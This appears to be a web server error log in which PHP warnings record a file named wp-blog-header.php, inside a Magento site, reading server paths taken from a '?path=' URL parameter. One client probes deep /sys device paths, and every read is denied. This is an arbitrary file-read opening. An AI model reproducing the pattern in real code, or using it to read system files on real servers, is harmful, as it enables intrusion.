[Thu Mar 26 11:26:27.412167 2026] [php:warn] [pid 3106758] [client 74.7.241.26:59186] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 11:26:33.646435 2026] [php:warn] [pid 3106758] [client 74.7.241.26:59186] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/drivers/ec
[Thu Mar 26 11:26:36.734549 2026] [php:warn] [pid 3106758] [client 74.7.241.26:59186] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:ba
[Thu Mar 26 11:26:41.638069 2026] [php:warn] [pid 3106758] [client 74.7.241.26:59186] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe
[Thu Mar 26 11:26:42.729517 2026] [php:warn] [pid 3106758] [client 74.7.241.26:59186] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 11:26:43.699950 2026] [php:warn] [pid 3106758] [client 74.7.241.26:59186] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:ba
[Thu Mar 26 11:26:48.587822 2026] [php:warn] [pid 3106758] [client 74.7.241.26:59186] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/drivers/ec
[Thu Mar 26 11:26:52.673357 2026] [php:warn] [pid 3106758] [client 74.7.241.26:59186] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:26:53.718217 2026] [php:warn] [pid 3106758] [client 74.7.241.26:59186] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/drivers/ac
[Thu Mar 26 11:26:54.250120 2026] [php:warn] [pid 3106758] [client 74.7.241.26:59186] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:ea
[Thu Mar 26 11:26:54.823207 2026] [php:warn] [pid 3106758] [client 74.7.241.26:59186] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 11:26:55.768476 2026] [php:warn] [pid 3106758] [client 74.7.241.26:59186] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/drivers/ec
[Thu Mar 26 11:26:56.819304 2026] [php:warn] [pid 3106758] [client 74.7.241.26:59186] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:ae
[Thu Mar 26 11:27:00.807353 2026] [php:warn] [pid 3106405] [client 74.7.241.26:33184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:de
[Thu Mar 26 11:27:01.279169 2026] [php:warn] [pid 3106405] [client 74.7.241.26:33184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/drivers/ac
[Thu Mar 26 11:27:01.813446 2026] [php:warn] [pid 3106405] [client 74.7.241.26:33184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 11:27:02.904578 2026] [php:warn] [pid 3106405] [client 74.7.241.26:33184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:27:06.653763 2026] [php:warn] [pid 3106405] [client 74.7.241.26:33184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:27:09.934586 2026] [php:warn] [pid 3106405] [client 74.7.241.26:33184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 11:27:14.055857 2026] [php:warn] [pid 3106405] [client 74.7.241.26:33184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:aa
[Thu Mar 26 11:27:16.258006 2026] [php:warn] [pid 3106405] [client 74.7.241.26:33184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:ae
[Thu Mar 26 11:27:17.301389 2026] [php:warn] [pid 3106405] [client 74.7.241.26:33184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:27:18.825055 2026] [php:warn] [pid 3106405] [client 74.7.241.26:33184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:fa
[Thu Mar 26 11:27:20.387058 2026] [php:warn] [pid 3106405] [client 74.7.241.26:33184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:dd/device:de
[Thu Mar 26 11:27:20.949035 2026] [php:warn] [pid 3106405] [client 74.7.241.26:33184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:fe
[Thu Mar 26 11:27:24.751773 2026] [php:warn] [pid 3106405] [client 74.7.241.26:33184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/drivers/ac
[Thu Mar 26 11:27:26.825897 2026] [php:warn] [pid 3106405] [client 74.7.241.26:33184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:27:34.317560 2026] [php:warn] [pid 3106405] [client 74.7.241.26:33184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:da
[Thu Mar 26 11:27:34.846557 2026] [php:warn] [pid 3106405] [client 74.7.241.26:33184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:fc
[Thu Mar 26 11:27:35.417479 2026] [php:warn] [pid 3106405] [client 74.7.241.26:33184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:dc
[Thu Mar 26 11:27:35.866611 2026] [php:warn] [pid 3106405] [client 74.7.241.26:33184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/drivers/ac
[Thu Mar 26 11:27:44.589189 2026] [php:warn] [pid 3106405] [client 74.7.241.26:33184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 11:27:48.181138 2026] [php:warn] [pid 3106405] [client 74.7.241.26:33184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 11:27:48.747365 2026] [php:warn] [pid 3106405] [client 74.7.241.26:33184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:fa
[Thu Mar 26 11:27:55.296379 2026] [php:warn] [pid 3106744] [client 74.7.241.26:46794] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/drivers/ac
[Thu Mar 26 11:28:01.154848 2026] [php:warn] [pid 3106744] [client 74.7.241.26:46794] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:28:03.315467 2026] [php:warn] [pid 3106744] [client 74.7.241.26:46794] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:cc
[Thu Mar 26 11:28:10.127909 2026] [php:warn] [pid 3106744] [client 74.7.241.26:46794] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:28:12.267546 2026] [php:warn] [pid 3106744] [client 74.7.241.26:46794] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:fa
[Thu Mar 26 11:28:12.789573 2026] [php:warn] [pid 3106744] [client 74.7.241.26:46794] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 11:28:13.783047 2026] [php:warn] [pid 3106744] [client 74.7.241.26:46794] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 11:28:14.818908 2026] [php:warn] [pid 3106744] [client 74.7.241.26:46794] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:dd/device:de
[Thu Mar 26 11:28:16.992855 2026] [php:warn] [pid 3106744] [client 74.7.241.26:46794] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:ac
[Thu Mar 26 11:28:17.512263 2026] [php:warn] [pid 3106744] [client 74.7.241.26:46794] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/drivers/ac
